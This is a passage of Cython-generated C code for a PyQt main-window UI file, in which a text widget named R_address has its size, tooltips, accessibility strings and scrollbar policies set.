0; } else { __pyx_t_4 = __Pyx_PyObject_CallNoArg(__pyx_t_2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 149, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_hasHeightForWidth); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 149, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (__pyx_t_4) { __pyx_t_9 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_4); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 149, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else { __pyx_t_9 = __Pyx_PyObject_CallNoArg(__pyx_t_2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 149, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_2) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_9); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 149, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_9}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 149, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_9}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 149, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 149, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_9); __pyx_t_9 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_4, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 149, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":150 * sizePolicy.setVerticalStretch(0) * sizePolicy.setHeightForWidth(self.R_address.sizePolicy().hasHeightForWidth()) * self.R_address.setSizePolicy(sizePolicy) # <<<<<<<<<<<<<< * self.R_address.setMinimumSize(QtCore.QSize(420, 40)) * self.R_address.setBaseSize(QtCore.QSize(420, 40)) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_address); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 150, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setSizePolicy); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 150, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_6) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_v_sizePolicy); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 150, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_v_sizePolicy}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 150, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_3); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_v_sizePolicy}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 150, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_3); } else #endif { __pyx_t_9 = PyTuple_New(1+1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 150, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_INCREF(__pyx_v_sizePolicy); __Pyx_GIVEREF(__pyx_v_sizePolicy); PyTuple_SET_ITEM(__pyx_t_9, 0+1, __pyx_v_sizePolicy); __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_9, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 150, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":151 * sizePolicy.setHeightForWidth(self.R_address.sizePolicy().hasHeightForWidth()) * self.R_address.setSizePolicy(sizePolicy) * self.R_address.setMinimumSize(QtCore.QSize(420, 40)) # <<<<<<<<<<<<<< * self.R_address.setBaseSize(QtCore.QSize(420, 40)) * self.R_address.setToolTip("") */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_address); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 151, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setMinimumSize); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 151, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 151, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QSize); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 151, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__90, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 151, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_9))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (!__pyx_t_6) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 151, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_4}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 151, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_4}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 151, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 151, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_2, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 151, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":152 * self.R_address.setSizePolicy(sizePolicy) * self.R_address.setMinimumSize(QtCore.QSize(420, 40)) * self.R_address.setBaseSize(QtCore.QSize(420, 40)) # <<<<<<<<<<<<<< * self.R_address.setToolTip("") * self.R_address.setStatusTip("") */ __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_address); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 152, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_setBaseSize); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 152, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 152, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_QSize); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 152, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__91, NULL); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 152, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_4) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_9); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 152, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_9}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 152, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_9}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 152, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif { __pyx_t_6 = PyTuple_New(1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 152, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_6, 0+1, __pyx_t_9); __pyx_t_9 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_6, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 152, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":153 * self.R_address.setMinimumSize(QtCore.QSize(420, 40)) * self.R_address.setBaseSize(QtCore.QSize(420, 40)) * self.R_address.setToolTip("") # <<<<<<<<<<<<<< * self.R_address.setStatusTip("") * self.R_address.setAccessibleName("") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_address); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 153, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setToolTip); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 153, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__92, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 153, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":154 * self.R_address.setBaseSize(QtCore.QSize(420, 40)) * self.R_address.setToolTip("") * self.R_address.setStatusTip("") # <<<<<<<<<<<<<< * self.R_address.setAccessibleName("") * self.R_address.setAccessibleDescription("") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_address); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setStatusTip); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__93, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":155 * self.R_address.setToolTip("") * self.R_address.setStatusTip("") * self.R_address.setAccessibleName("") # <<<<<<<<<<<<<< * self.R_address.setAccessibleDescription("") * self.R_address.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOn) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_address); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 155, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setAccessibleName); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 155, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__94, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 155, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":156 * self.R_address.setStatusTip("") * self.R_address.setAccessibleName("") * self.R_address.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.R_address.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOn) * self.R_address.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_address); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 156, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setAccessibleDescription); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 156, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__95, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 156, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":157 * self.R_address.setAccessibleName("") * self.R_address.setAccessibleDescription("") * self.R_address.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOn) # <<<<<<<<<<<<<< * self.R_address.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff) * self.R_address.setSizeAdjustPolicy(QtWidgets.QAbstractScrollArea.AdjustToContents) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_address); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 157, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setVerticalScrollBarPolicy); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 157, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 157, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_Qt); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 157, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_ScrollBarAlwaysOn); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 157, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_9) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 157, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_9, __pyx_t_2}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 157, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_9, __pyx_t_2}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 157, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 157, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_9); __pyx_t_9 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_4, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 157, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":158 * self.R_address.setAccessibleDescription("") * self.R_address.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOn) * self.R_address.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff) # <<<<<<<<<<<<<< * self.R_address.setSizeAdjustPolicy(QtWidgets.QAbstractScrollArea.AdjustToContents) * self.R_address.setDocumentTitle("") */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_address); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 158, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setHorizontalScrollBarPolicy); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 158, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 158, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_Qt); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 158, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_ScrollBarAlwaysOff); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 158, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_2) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_6); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 158, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_6}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 158, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_6}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 158, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_9 = PyTuple_New(1+1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 158, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_9, 0+1, __pyx_t_6); __pyx_t_6 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_9, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 158, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":159 * self.R_address.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOn) * self.R_address.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff) * 